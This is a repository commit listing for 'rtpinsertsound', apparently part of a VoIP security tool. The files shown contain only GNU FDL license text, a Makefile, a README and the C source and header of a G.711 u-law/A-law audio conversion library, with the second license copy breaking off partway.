Codebase list rtpinsertsound / 2a75ddf
Imported Upstream version 3.0 Devon Kearns 11 years ago
19 changed file(s) with 5694 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 GNU Free Documentation License
1 Version 1.2, November 2002
2
3
4 Copyright (C) 2000,2001,2002 Free Software Foundation, Inc.
5 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9
10 0. PREAMBLE
11
12 The purpose of this License is to make a manual, textbook, or other
13 functional and useful document "free" in the sense of freedom: to
14 assure everyone the effective freedom to copy and redistribute it,
15 with or without modifying it, either commercially or noncommercially.
16 Secondarily, this License preserves for the author and publisher a way
17 to get credit for their work, while not being considered responsible
18 for modifications made by others.
19
20 This License is a kind of "copyleft", which means that derivative
21 works of the document must themselves be free in the same sense. It
22 complements the GNU General Public License, which is a copyleft
23 license designed for free software.
24
25 We have designed this License in order to use it for manuals for free
26 software, because free software needs free documentation: a free
27 program should come with manuals providing the same freedoms that the
28 software does. But this License is not limited to software manuals;
29 it can be used for any textual work, regardless of subject matter or
30 whether it is published as a printed book. We recommend this License
31 principally for works whose purpose is instruction or reference.
32
33
34 1. APPLICABILITY AND DEFINITIONS
35
36 This License applies to any manual or other work, in any medium, that
37 contains a notice placed by the copyright holder saying it can be
38 distributed under the terms of this License. Such a notice grants a
39 world-wide, royalty-free license, unlimited in duration, to use that
40 work under the conditions stated herein. The "Document", below,
41 refers to any such manual or work. Any member of the public is a
42 licensee, and is addressed as "you". You accept the license if you
43 copy, modify or distribute the work in a way requiring permission
44 under copyright law.
45
46 A "Modified Version" of the Document means any work containing the
47 Document or a portion of it, either copied verbatim, or with
48 modifications and/or translated into another language.
49
50 A "Secondary Section" is a named appendix or a front-matter section of
51 the Document that deals exclusively with the relationship of the
52 publishers or authors of the Document to the Document's overall subject
53 (or to related matters) and contains nothing that could fall directly
54 within that overall subject. (Thus, if the Document is in part a
55 textbook of mathematics, a Secondary Section may not explain any
56 mathematics.) The relationship could be a matter of historical
57 connection with the subject or with related matters, or of legal,
58 commercial, philosophical, ethical or political position regarding
59 them.
60
61 The "Invariant Sections" are certain Secondary Sections whose titles
62 are designated, as being those of Invariant Sections, in the notice
63 that says that the Document is released under this License. If a
64 section does not fit the above definition of Secondary then it is not
65 allowed to be designated as Invariant. The Document may contain zero
66 Invariant Sections. If the Document does not identify any Invariant
67 Sections then there are none.
68
69 The "Cover Texts" are certain short passages of text that are listed,
70 as Front-Cover Texts or Back-Cover Texts, in the notice that says that
71 the Document is released under this License. A Front-Cover Text may
72 be at most 5 words, and a Back-Cover Text may be at most 25 words.
73
74 A "Transparent" copy of the Document means a machine-readable copy,
75 represented in a format whose specification is available to the
76 general public, that is suitable for revising the document
77 straightforwardly with generic text editors or (for images composed of
78 pixels) generic paint programs or (for drawings) some widely available
79 drawing editor, and that is suitable for input to text formatters or
80 for automatic translation to a variety of formats suitable for input
81 to text formatters. A copy made in an otherwise Transparent file
82 format whose markup, or absence of markup, has been arranged to thwart
83 or discourage subsequent modification by readers is not Transparent.
84 An image format is not Transparent if used for any substantial amount
85 of text. A copy that is not "Transparent" is called "Opaque".
86
87 Examples of suitable formats for Transparent copies include plain
88 ASCII without markup, Texinfo input format, LaTeX input format, SGML
89 or XML using a publicly available DTD, and standard-conforming simple
90 HTML, PostScript or PDF designed for human modification. Examples of
91 transparent image formats include PNG, XCF and JPG. Opaque formats
92 include proprietary formats that can be read and edited only by
93 proprietary word processors, SGML or XML for which the DTD and/or
94 processing tools are not generally available, and the
95 machine-generated HTML, PostScript or PDF produced by some word
96 processors for output purposes only.
97
98 The "Title Page" means, for a printed book, the title page itself,
99 plus such following pages as are needed to hold, legibly, the material
100 this License requires to appear in the title page. For works in
101 formats which do not have any title page as such, "Title Page" means
102 the text near the most prominent appearance of the work's title,
103 preceding the beginning of the body of the text.
104
105 A section "Entitled XYZ" means a named subunit of the Document whose
106 title either is precisely XYZ or contains XYZ in parentheses following
107 text that translates XYZ in another language. (Here XYZ stands for a
108 specific section name mentioned below, such as "Acknowledgements",
109 "Dedications", "Endorsements", or "History".) To "Preserve the Title"
110 of such a section when you modify the Document means that it remains a
111 section "Entitled XYZ" according to this definition.
112
113 The Document may include Warranty Disclaimers next to the notice which
114 states that this License applies to the Document. These Warranty
115 Disclaimers are considered to be included by reference in this
116 License, but only as regards disclaiming warranties: any other
117 implication that these Warranty Disclaimers may have is void and has
118 no effect on the meaning of this License.
119
120
121 2. VERBATIM COPYING
122
123 You may copy and distribute the Document in any medium, either
124 commercially or noncommercially, provided that this License, the
125 copyright notices, and the license notice saying this License applies
126 to the Document are reproduced in all copies, and that you add no other
127 conditions whatsoever to those of this License. You may not use
128 technical measures to obstruct or control the reading or further
129 copying of the copies you make or distribute. However, you may accept
130 compensation in exchange for copies. If you distribute a large enough
131 number of copies you must also follow the conditions in section 3.
132
133 You may also lend copies, under the same conditions stated above, and
134 you may publicly display copies.
135
136
137 3. COPYING IN QUANTITY
138
139 If you publish printed copies (or copies in media that commonly have
140 printed covers) of the Document, numbering more than 100, and the
141 Document's license notice requires Cover Texts, you must enclose the
142 copies in covers that carry, clearly and legibly, all these Cover
143 Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
144 the back cover. Both covers must also clearly and legibly identify
145 you as the publisher of these copies. The front cover must present
146 the full title with all words of the title equally prominent and
147 visible. You may add other material on the covers in addition.
148 Copying with changes limited to the covers, as long as they preserve
149 the title of the Document and satisfy these conditions, can be treated
150 as verbatim copying in other respects.
151
152 If the required texts for either cover are too voluminous to fit
153 legibly, you should put the first ones listed (as many as fit
154 reasonably) on the actual cover, and continue the rest onto adjacent
155 pages.
156
157 If you publish or distribute Opaque copies of the Document numbering
158 more than 100, you must either include a machine-readable Transparent
159 copy along with each Opaque copy, or state in or with each Opaque copy
160 a computer-network location from which the general network-using
161 public has access to download using public-standard network protocols
162 a complete Transparent copy of the Document, free of added material.
163 If you use the latter option, you must take reasonably prudent steps,
164 when you begin distribution of Opaque copies in quantity, to ensure
165 that this Transparent copy will remain thus accessible at the stated
166 location until at least one year after the last time you distribute an
167 Opaque copy (directly or through your agents or retailers) of that
168 edition to the public.
169
170 It is requested, but not required, that you contact the authors of the
171 Document well before redistributing any large number of copies, to give
172 them a chance to provide you with an updated version of the Document.
173
174
175 4. MODIFICATIONS
176
177 You may copy and distribute a Modified Version of the Document under
178 the conditions of sections 2 and 3 above, provided that you release
179 the Modified Version under precisely this License, with the Modified
180 Version filling the role of the Document, thus licensing distribution
181 and modification of the Modified Version to whoever possesses a copy
182 of it. In addition, you must do these things in the Modified Version:
183
184 A. Use in the Title Page (and on the covers, if any) a title distinct
185 from that of the Document, and from those of previous versions
186 (which should, if there were any, be listed in the History section
187 of the Document). You may use the same title as a previous version
188 if the original publisher of that version gives permission.
189 B. List on the Title Page, as authors, one or more persons or entities
190 responsible for authorship of the modifications in the Modified
191 Version, together with at least five of the principal authors of the
192 Document (all of its principal authors, if it has fewer than five),
193 unless they release you from this requirement.
194 C. State on the Title page the name of the publisher of the
195 Modified Version, as the publisher.
196 D. Preserve all the copyright notices of the Document.
197 E. Add an appropriate copyright notice for your modifications
198 adjacent to the other copyright notices.
199 F. Include, immediately after the copyright notices, a license notice
200 giving the public permission to use the Modified Version under the
201 terms of this License, in the form shown in the Addendum below.
202 G. Preserve in that license notice the full lists of Invariant Sections
203 and required Cover Texts given in the Document's license notice.
204 H. Include an unaltered copy of this License.
205 I. Preserve the section Entitled "History", Preserve its Title, and add
206 to it an item stating at least the title, year, new authors, and
207 publisher of the Modified Version as given on the Title Page. If
208 there is no section Entitled "History" in the Document, create one
209 stating the title, year, authors, and publisher of the Document as
210 given on its Title Page, then add an item describing the Modified
211 Version as stated in the previous sentence.
212 J. Preserve the network location, if any, given in the Document for
213 public access to a Transparent copy of the Document, and likewise
214 the network locations given in the Document for previous versions
215 it was based on. These may be placed in the "History" section.
216 You may omit a network location for a work that was published at
217 least four years before the Document itself, or if the original
218 publisher of the version it refers to gives permission.
219 K. For any section Entitled "Acknowledgements" or "Dedications",
220 Preserve the Title of the section, and preserve in the section all
221 the substance and tone of each of the contributor acknowledgements
222 and/or dedications given therein.
223 L. Preserve all the Invariant Sections of the Document,
224 unaltered in their text and in their titles. Section numbers
225 or the equivalent are not considered part of the section titles.
226 M. Delete any section Entitled "Endorsements". Such a section
227 may not be included in the Modified Version.
228 N. Do not retitle any existing section to be Entitled "Endorsements"
229 or to conflict in title with any Invariant Section.
230 O. Preserve any Warranty Disclaimers.
231
232 If the Modified Version includes new front-matter sections or
233 appendices that qualify as Secondary Sections and contain no material
234 copied from the Document, you may at your option designate some or all
235 of these sections as invariant. To do this, add their titles to the
236 list of Invariant Sections in the Modified Version's license notice.
237 These titles must be distinct from any other section titles.
238
239 You may add a section Entitled "Endorsements", provided it contains
240 nothing but endorsements of your Modified Version by various
241 parties--for example, statements of peer review or that the text has
242 been approved by an organization as the authoritative definition of a
243 standard.
244
245 You may add a passage of up to five words as a Front-Cover Text, and a
246 passage of up to 25 words as a Back-Cover Text, to the end of the list
247 of Cover Texts in the Modified Version. Only one passage of
248 Front-Cover Text and one of Back-Cover Text may be added by (or
249 through arrangements made by) any one entity. If the Document already
250 includes a cover text for the same cover, previously added by you or
251 by arrangement made by the same entity you are acting on behalf of,
252 you may not add another; but you may replace the old one, on explicit
253 permission from the previous publisher that added the old one.
254
255 The author(s) and publisher(s) of the Document do not by this License
256 give permission to use their names for publicity for or to assert or
257 imply endorsement of any Modified Version.
258
259
260 5. COMBINING DOCUMENTS
261
262 You may combine the Document with other documents released under this
263 License, under the terms defined in section 4 above for modified
264 versions, provided that you include in the combination all of the
265 Invariant Sections of all of the original documents, unmodified, and
266 list them all as Invariant Sections of your combined work in its
267 license notice, and that you preserve all their Warranty Disclaimers.
268
269 The combined work need only contain one copy of this License, and
270 multiple identical Invariant Sections may be replaced with a single
271 copy. If there are multiple Invariant Sections with the same name but
272 different contents, make the title of each such section unique by
273 adding at the end of it, in parentheses, the name of the original
274 author or publisher of that section if known, or else a unique number.
275 Make the same adjustment to the section titles in the list of
276 Invariant Sections in the license notice of the combined work.
277
278 In the combination, you must combine any sections Entitled "History"
279 in the various original documents, forming one section Entitled
280 "History"; likewise combine any sections Entitled "Acknowledgements",
281 and any sections Entitled "Dedications". You must delete all sections
282 Entitled "Endorsements".
283
284
285 6. COLLECTIONS OF DOCUMENTS
286
287 You may make a collection consisting of the Document and other documents
288 released under this License, and replace the individual copies of this
289 License in the various documents with a single copy that is included in
290 the collection, provided that you follow the rules of this License for
291 verbatim copying of each of the documents in all other respects.
292
293 You may extract a single document from such a collection, and distribute
294 it individually under this License, provided you insert a copy of this
295 License into the extracted document, and follow this License in all
296 other respects regarding verbatim copying of that document.
297
298
299 7. AGGREGATION WITH INDEPENDENT WORKS
300
301 A compilation of the Document or its derivatives with other separate
302 and independent documents or works, in or on a volume of a storage or
303 distribution medium, is called an "aggregate" if the copyright
304 resulting from the compilation is not used to limit the legal rights
305 of the compilation's users beyond what the individual works permit.
306 When the Document is included in an aggregate, this License does not
307 apply to the other works in the aggregate which are not themselves
308 derivative works of the Document.
309
310 If the Cover Text requirement of section 3 is applicable to these
311 copies of the Document, then if the Document is less than one half of
312 the entire aggregate, the Document's Cover Texts may be placed on
313 covers that bracket the Document within the aggregate, or the
314 electronic equivalent of covers if the Document is in electronic form.
315 Otherwise they must appear on printed covers that bracket the whole
316 aggregate.
317
318
319 8. TRANSLATION
320
321 Translation is considered a kind of modification, so you may
322 distribute translations of the Document under the terms of section 4.
323 Replacing Invariant Sections with translations requires special
324 permission from their copyright holders, but you may include
325 translations of some or all Invariant Sections in addition to the
326 original versions of these Invariant Sections. You may include a
327 translation of this License, and all the license notices in the
328 Document, and any Warranty Disclaimers, provided that you also include
329 the original English version of this License and the original versions
330 of those notices and disclaimers. In case of a disagreement between
331 the translation and the original version of this License or a notice
332 or disclaimer, the original version will prevail.
333
334 If a section in the Document is Entitled "Acknowledgements",
335 "Dedications", or "History", the requirement (section 4) to Preserve
336 its Title (section 1) will typically require changing the actual
337 title.
338
339
340 9. TERMINATION
341
342 You may not copy, modify, sublicense, or distribute the Document except
343 as expressly provided for under this License. Any other attempt to
344 copy, modify, sublicense or distribute the Document is void, and will
345 automatically terminate your rights under this License. However,
346 parties who have received copies, or rights, from you under this
347 License will not have their licenses terminated so long as such
348 parties remain in full compliance.
349
350
351 10. FUTURE REVISIONS OF THIS LICENSE
352
353 The Free Software Foundation may publish new, revised versions
354 of the GNU Free Documentation License from time to time. Such new
355 versions will be similar in spirit to the present version, but may
356 differ in detail to address new problems or concerns. See
357 http://www.gnu.org/copyleft/.
358
359 Each version of the License is given a distinguishing version number.
360 If the Document specifies that a particular numbered version of this
361 License "or any later version" applies to it, you have the option of
362 following the terms and conditions either of that specified version or
363 of any later version that has been published (not as a draft) by the
364 Free Software Foundation. If the Document does not specify a version
365 number of this License, you may choose any version ever published (not
366 as a draft) by the Free Software Foundation.
367
368
369 ADDENDUM: How to use this License for your documents
370
371 To use this License in a document you have written, include a copy of
372 the License in the document and put the following copyright and
373 license notices just after the title page:
374
375 Copyright (c) YEAR YOUR NAME.
376 Permission is granted to copy, distribute and/or modify this document
377 under the terms of the GNU Free Documentation License, Version 1.2
378 or any later version published by the Free Software Foundation;
379 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
380 A copy of the license is included in the section entitled "GNU
381 Free Documentation License".
382
383 If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
384 replace the "with...Texts." line with this:
385
386 with the Invariant Sections being LIST THEIR TITLES, with the
387 Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
388
389 If you have Invariant Sections without Cover Texts, or some other
390 combination of the three, merge those two alternatives to suit the
391 situation.
392
393 If your document contains nontrivial examples of program code, we
394 recommend releasing these examples in parallel under your choice of
395 free software license, such as the GNU General Public License,
396 to permit their use in free software.
0 g711conversions: g711conversions.c g711conversions.h
1 gcc -c g711conversions.c
2
3 clean:
4 rm -f g711conversions.o
5
0 The G.711 codec conversion library is based upon open-source code from SUN
1 published in the early 1990's and updated by Borge Lindberg on 12/30/1994.
2 It was downloaded from the Net in an archive named: COSTG711.tar.gz
3
4 The source file was renamed to: g711conversions.c
5
6 The header file was created by the authors of this Readme file and reference
7 to it was edited into g711conversions.c. The header was created so the source
8 could be compiled into a distinct library for reference by other programs.
9
10 Copyright (c) 2006 Mark D. Collier/Mark O'Brien
11 Permission is granted to copy, distribute and/or modify this document
12 under the terms of the GNU Free Documentation License, Version 1.2
13 or any later version published by the Free Software Foundation;
14 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
15 A copy of the license is included in the section entitled "GNU
16 Free Documentation License".
17
18 Authors: Mark D. Collier/Mark O'Brien 08/16/2006 v1.1
19 www.securelogix.com - [email protected]
20 www.hackingexposedvoip.com
21
22 /*
23 * This source code is a product of Sun Microsystems, Inc. and is provided
24 * for unrestricted use. Users may copy or modify this source code without
25 * charge.
26 */
27
28 /*
29 * December 30, 1994:
30 * Functions linear2alaw, linear2ulaw have been updated to correctly
31 * convert unquantized 16 bit values.
32 * Tables for direct u- to A-law and A- to u-law conversions have been
33 * corrected.
34 * Borge Lindberg, Center for PersonKommunikation, Aalborg University.
35 * [email protected]
36 *
37 */
0 /*
1 * This source code is a product of Sun Microsystems, Inc. and is provided
2 * for unrestricted use. Users may copy or modify this source code without
3 * charge.
4 *
5 * SUN SOURCE CODE IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING
6 * THE WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
7 * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
8 *
9 * Sun source code is provided with no support and without any obligation on
10 * the part of Sun Microsystems, Inc. to assist in its use, correction,
11 * modification or enhancement.
12 *
13 * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
14 * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY THIS SOFTWARE
15 * OR ANY PART THEREOF.
16 *
17 * In no event will Sun Microsystems, Inc. be liable for any lost revenue
18 * or profits or other special, indirect and consequential damages, even if
19 * Sun has been advised of the possibility of such damages.
20 *
21 * Sun Microsystems, Inc.
22 * 2550 Garcia Avenue
23 * Mountain View, California 94043
24 */
25
26 /*
27 * g711conversions.c (renamed from g711.c on 08/24/2006 by MOB)
28 *
29 * u-law, A-law and linear PCM conversions.
30 */
31
32 /*
33 * December 30, 1994:
34 * Functions linear2alaw, linear2ulaw have been updated to correctly
35 * convert unquantized 16 bit values.
36 * Tables for direct u- to A-law and A- to u-law conversions have been
37 * corrected.
38 * Borge Lindberg, Center for PersonKommunikation, Aalborg University.
39 * [email protected]
40 *
41 */
42
43 #include "g711conversions.h"
44
45 #define SIGN_BIT (0x80) /* Sign bit for a A-law byte. */
46 #define QUANT_MASK (0xf) /* Quantization field mask. */
47 #define NSEGS (8) /* Number of A-law segments. */
48 #define SEG_SHIFT (4) /* Left shift for segment number. */
49 #define SEG_MASK (0x70) /* Segment field mask. */
50
51 static short seg_aend[8] = {0x1F, 0x3F, 0x7F, 0xFF,
52 0x1FF, 0x3FF, 0x7FF, 0xFFF};
53 static short seg_uend[8] = {0x3F, 0x7F, 0xFF, 0x1FF,
54 0x3FF, 0x7FF, 0xFFF, 0x1FFF};
55
56 /* copy from CCITT G.711 specifications */
57 unsigned char _u2a[128] = { /* u- to A-law conversions */
58 1, 1, 2, 2, 3, 3, 4, 4,
59 5, 5, 6, 6, 7, 7, 8, 8,
60 9, 10, 11, 12, 13, 14, 15, 16,
61 17, 18, 19, 20, 21, 22, 23, 24,
62 25, 27, 29, 31, 33, 34, 35, 36,
63 37, 38, 39, 40, 41, 42, 43, 44,
64 46, 48, 49, 50, 51, 52, 53, 54,
65 55, 56, 57, 58, 59, 60, 61, 62,
66 64, 65, 66, 67, 68, 69, 70, 71,
67 72, 73, 74, 75, 76, 77, 78, 79,
68 /* corrected:
69 81, 82, 83, 84, 85, 86, 87, 88,
70 should be: */
71 80, 82, 83, 84, 85, 86, 87, 88,
72 89, 90, 91, 92, 93, 94, 95, 96,
73 97, 98, 99, 100, 101, 102, 103, 104,
74 105, 106, 107, 108, 109, 110, 111, 112,
75 113, 114, 115, 116, 117, 118, 119, 120,
76 121, 122, 123, 124, 125, 126, 127, 128};
77
78 unsigned char _a2u[128] = { /* A- to u-law conversions */
79 1, 3, 5, 7, 9, 11, 13, 15,
80 16, 17, 18, 19, 20, 21, 22, 23,
81 24, 25, 26, 27, 28, 29, 30, 31,
82 32, 32, 33, 33, 34, 34, 35, 35,
83 36, 37, 38, 39, 40, 41, 42, 43,
84 44, 45, 46, 47, 48, 48, 49, 49,
85 50, 51, 52, 53, 54, 55, 56, 57,
86 58, 59, 60, 61, 62, 63, 64, 64,
87 65, 66, 67, 68, 69, 70, 71, 72,
88 /* corrected:
89 73, 74, 75, 76, 77, 78, 79, 79,
90 should be: */
91 73, 74, 75, 76, 77, 78, 79, 80,
92
93 80, 81, 82, 83, 84, 85, 86, 87,
94 88, 89, 90, 91, 92, 93, 94, 95,
95 96, 97, 98, 99, 100, 101, 102, 103,
96 104, 105, 106, 107, 108, 109, 110, 111,
97 112, 113, 114, 115, 116, 117, 118, 119,
98 120, 121, 122, 123, 124, 125, 126, 127};
99
100 static short
101 search(
102 short val,
103 short *table,
104 short size)
105 {
106 short i;
107
108 for (i = 0; i < size; i++) {
109 if (val <= *table++)
110 return (i);
111 }
112 return (size);
113 }
114
115 /*
116 * linear2alaw() - Convert a 16-bit linear PCM value to 8-bit A-law
117 *
118 * linear2alaw() accepts an 16-bit integer and encodes it as A-law data.
119 *
120 * Linear Input Code Compressed Code
121 * ------------------------ ---------------
122 * 0000000wxyza 000wxyz
123 * 0000001wxyza 001wxyz
124 * 000001wxyzab 010wxyz
125 * 00001wxyzabc 011wxyz
126 * 0001wxyzabcd 100wxyz
127 * 001wxyzabcde 101wxyz
128 * 01wxyzabcdef 110wxyz
129 * 1wxyzabcdefg 111wxyz
130 *
131 * For further information see John C. Bellamy's Digital Telephony, 1982,
132 * John Wiley & Sons, pps 98-111 and 472-476.
133 */
134 unsigned char
135 linear2alaw(
136 short pcm_val) /* 2's complement (16-bit range) */
137 {
138 short mask;
139 short seg;
140 unsigned char aval;
141
142 pcm_val = pcm_val >> 3;
143
144 if (pcm_val >= 0) {
145 mask = 0xD5; /* sign (7th) bit = 1 */
146 } else {
147 mask = 0x55; /* sign bit = 0 */
148 pcm_val = -pcm_val - 1;
149 }
150
151 /* Convert the scaled magnitude to segment number. */
152 seg = search(pcm_val, seg_aend, 8);
153
154 /* Combine the sign, segment, and quantization bits. */
155
156 if (seg >= 8) /* out of range, return maximum value. */
157 return (unsigned char) (0x7F ^ mask);
158 else {
159 aval = (unsigned char) seg << SEG_SHIFT;
160 if (seg < 2)
161 aval |= (pcm_val >> 1) & QUANT_MASK;
162 else
163 aval |= (pcm_val >> seg) & QUANT_MASK;
164 return (aval ^ mask);
165 }
166 }
167
168 /*
169 * alaw2linear() - Convert an A-law value to 16-bit linear PCM
170 *
171 */
172 short
173 alaw2linear(
174 unsigned char a_val)
175 {
176 short t;
177 short seg;
178
179 a_val ^= 0x55;
180
181 t = (a_val & QUANT_MASK) << 4;
182 seg = ((unsigned)a_val & SEG_MASK) >> SEG_SHIFT;
183 switch (seg) {
184 case 0:
185 t += 8;
186 break;
187 case 1:
188 t += 0x108;
189 break;
190 default:
191 t += 0x108;
192 t <<= seg - 1;
193 }
194 return ((a_val & SIGN_BIT) ? t : -t);
195 }
196
197 #define BIAS (0x84) /* Bias for linear code. */
198 #define CLIP 8159
199
200 /*
201 * linear2ulaw() - Convert a linear PCM value to u-law
202 *
203 * In order to simplify the encoding process, the original linear magnitude
204 * is biased by adding 33 which shifts the encoding range from (0 - 8158) to
205 * (33 - 8191). The result can be seen in the following encoding table:
206 *
207 * Biased Linear Input Code Compressed Code
208 * ------------------------ ---------------
209 * 00000001wxyza 000wxyz
210 * 0000001wxyzab 001wxyz
211 * 000001wxyzabc 010wxyz
212 * 00001wxyzabcd 011wxyz
213 * 0001wxyzabcde 100wxyz
214 * 001wxyzabcdef 101wxyz
215 * 01wxyzabcdefg 110wxyz
216 * 1wxyzabcdefgh 111wxyz
217 *
218 * Each biased linear code has a leading 1 which identifies the segment
219 * number. The value of the segment number is equal to 7 minus the number
220 * of leading 0's. The quantization interval is directly available as the
221 * four bits wxyz. * The trailing bits (a - h) are ignored.
222 *
223 * Ordinarily the complement of the resulting code word is used for
224 * transmission, and so the code word is complemented before it is returned.
225 *
226 * For further information see John C. Bellamy's Digital Telephony, 1982,
227 * John Wiley & Sons, pps 98-111 and 472-476.
228 */
229 unsigned char
230 linear2ulaw(
231 short pcm_val) /* 2's complement (16-bit range) */
232 {
233 short mask;
234 short seg;
235 unsigned char uval;
236
237 /* Get the sign and the magnitude of the value. */
238 pcm_val = pcm_val >> 2;
239 if (pcm_val < 0) {
240 pcm_val = -pcm_val;
241 mask = 0x7F;
242 } else {
243 mask = 0xFF;
244 }
245 if ( pcm_val > CLIP ) pcm_val = CLIP; /* clip the magnitude */
246 pcm_val += (BIAS >> 2);
247
248 /* Convert the scaled magnitude to segment number. */
249 seg = search(pcm_val, seg_uend, 8);
250
251 /*
252 * Combine the sign, segment, quantization bits;
253 * and complement the code word.
254 */
255 if (seg >= 8) /* out of range, return maximum value. */
256 return (unsigned char) (0x7F ^ mask);
257 else {
258 uval = (unsigned char) (seg << 4) | ((pcm_val >> (seg + 1)) & 0xF);
259 return (uval ^ mask);
260 }
261
262 }
263
264 /*
265 * ulaw2linear() - Convert a u-law value to 16-bit linear PCM
266 *
267 * First, a biased linear code is derived from the code word. An unbiased
268 * output can then be obtained by subtracting 33 from the biased code.
269 *
270 * Note that this function expects to be passed the complement of the
271 * original code word. This is in keeping with ISDN conventions.
272 */
273 short
274 ulaw2linear(
275 unsigned char u_val)
276 {
277 short t;
278
279 /* Complement to obtain normal u-law value. */
280 u_val = ~u_val;
281
282 /*
283 * Extract and bias the quantization bits. Then
284 * shift up by the segment number and subtract out the bias.
285 */
286 t = ((u_val & QUANT_MASK) << 3) + BIAS;
287 t <<= ((unsigned)u_val & SEG_MASK) >> SEG_SHIFT;
288
289 return ((u_val & SIGN_BIT) ? (BIAS - t) : (t - BIAS));
290 }
291
292 /* A-law to u-law conversion */
293 unsigned char
294 alaw2ulaw(
295 unsigned char aval)
296 {
297 aval &= 0xff;
298 return (unsigned char) ((aval & 0x80) ? (0xFF ^ _a2u[aval ^ 0xD5]) :
299 (0x7F ^ _a2u[aval ^ 0x55]));
300 }
301
302 /* u-law to A-law conversion */
303 unsigned char
304 ulaw2alaw(
305 unsigned char uval)
306 {
307 uval &= 0xff;
308 return (unsigned char) ((uval & 0x80) ? (0xD5 ^ (_u2a[0xFF ^ uval] - 1)) :
309 (unsigned char) (0x55 ^ (_u2a[0x7F ^ uval] - 1)));
310 }
0 //-------------------------------------------------------------------------------
1 //
2 // g711conversions.h - header in support of
3 // g711conversions.c
4 //
5 // Please see the preamble for g711conversions.c
6 // That code was downloaded from the Internet
7 // in an archive named: COSTG711.tar.gz
8 //
9 // That archive included the source file g711.c
10 // It also contained a driver which included
11 // the g711.c file directly into the driver's source.
12 // This header was created so that the
13 // source (renamed to g711conversions.c)
14 // could be compiled into a distinct library.
15 //
16 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
17 //
18 // This program is free software; you can redistribute it and/or modify
19 // it under the terms of the GNU General Public License as published by
20 // the Free Software Foundation; either version 2 of the License, or
21 // (at your option) any later version.
22 //
23 // This program is distributed in the hope that it will be useful,
24 // but WITHOUT ANY WARRANTY; without even the implied warranty of
25 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
26 // GNU General Public License for more details.
27 //
28 // You should have received a copy of the GNU General Public License
29 // along with this program; if not, write to the Free Software
30 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
31 //
32 // Author: Mark D. Collier/Mark O'Brien - 08/16/2006 v1.0
33 // www.securelogix.com - [email protected]
34 // www.hackingexposedvoip.com
35 //
36 //-------------------------------------------------------------------------------
37
38 /*
39 * g711.h -
40 *
41 * u-law, A-law and linear PCM conversions.
42 */
43
44 #ifndef __G711CONVERSIONS_H
45 #define __G711CONVERSIONS_H
46
47 //
48 // linear2alaw() - Convert a 16-bit linear PCM value to 8-bit A-law
49 //
50 // linear2alaw() accepts an 16-bit integer and encodes it as A-law data.
51 //
52
53 unsigned char linear2alaw ( short pcm_val );
54
55 //
56 // alaw2linear() - Convert an A-law value to 16-bit linear PCM
57 //
58
59 short alaw2linear ( unsigned char a_val);
60
61 //
62 // linear2ulaw() - Convert a linear PCM value to u-law
63 //
64
65 unsigned char linear2ulaw ( short pcm_val );
66
67 //
68 // ulaw2linear() - Convert a u-law value to 16-bit linear PCM
69 //
70
71 short ulaw2linear( unsigned char u_val );
72
73 //
74 // A-law to u-law conversion
75 //
76
77 unsigned char alaw2ulaw ( unsigned char aval );
78
79 //
80 // u-law to A-law conversion
81 //
82
83 unsigned char ulaw2alaw ( unsigned char uval );
84
85 #endif // __G711CONVERSIONS_H
0 GNU Free Documentation License
1 Version 1.2, November 2002
2
3
4 Copyright (C) 2000,2001,2002 Free Software Foundation, Inc.
5 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9
10 0. PREAMBLE
11
12 The purpose of this License is to make a manual, textbook, or other
13 functional and useful document "free" in the sense of freedom: to
14 assure everyone the effective freedom to copy and redistribute it,
15 with or without modifying it, either commercially or noncommercially.
16 Secondarily, this License preserves for the author and publisher a way
17 to get credit for their work, while not being considered responsible
18 for modifications made by others.
19
20 This License is a kind of "copyleft", which means that derivative
21 works of the document must themselves be free in the same sense. It
22 complements the GNU General Public License, which is a copyleft
23 license designed for free software.
24
25 We have designed this License in order to use it for manuals for free
26 software, because free software needs free documentation: a free
27 program should come with manuals providing the same freedoms that the
28 software does. But this License is not limited to software manuals;
29 it can be used for any textual work, regardless of subject matter or
30 whether it is published as a printed book. We recommend this License
31 principally for works whose purpose is instruction or reference.
32
33
34 1. APPLICABILITY AND DEFINITIONS
35
36 This License applies to any manual or other work, in any medium, that
37 contains a notice placed by the copyright holder saying it can be
38 distributed under the terms of this License. Such a notice grants a
39 world-wide, royalty-free license, unlimited in duration, to use that
40 work under the conditions stated herein. The "Document", below,
41 refers to any such manual or work. Any member of the public is a
42 licensee, and is addressed as "you". You accept the license if you
43 copy, modify or distribute the work in a way requiring permission
44 under copyright law.
45
46 A "Modified Version" of the Document means any work containing the
47 Document or a portion of it, either copied verbatim, or with
48 modifications and/or translated into another language.
49
50 A "Secondary Section" is a named appendix or a front-matter section of
51 the Document that deals exclusively with the relationship of the
52 publishers or authors of the Document to the Document's overall subject
53 (or to related matters) and contains nothing that could fall directly
54 within that overall subject. (Thus, if the Document is in part a
55 textbook of mathematics, a Secondary Section may not explain any
56 mathematics.) The relationship could be a matter of historical
57 connection with the subject or with related matters, or of legal,
58 commercial, philosophical, ethical or political position regarding
59 them.
60
61 The "Invariant Sections" are certain Secondary Sections whose titles
62 are designated, as being those of Invariant Sections, in the notice
63 that says that the Document is released under this License. If a
64 section does not fit the above definition of Secondary then it is not
65 allowed to be designated as Invariant. The Document may contain zero
66 Invariant Sections. If the Document does not identify any Invariant
67 Sections then there are none.
68
69 The "Cover Texts" are certain short passages of text that are listed,
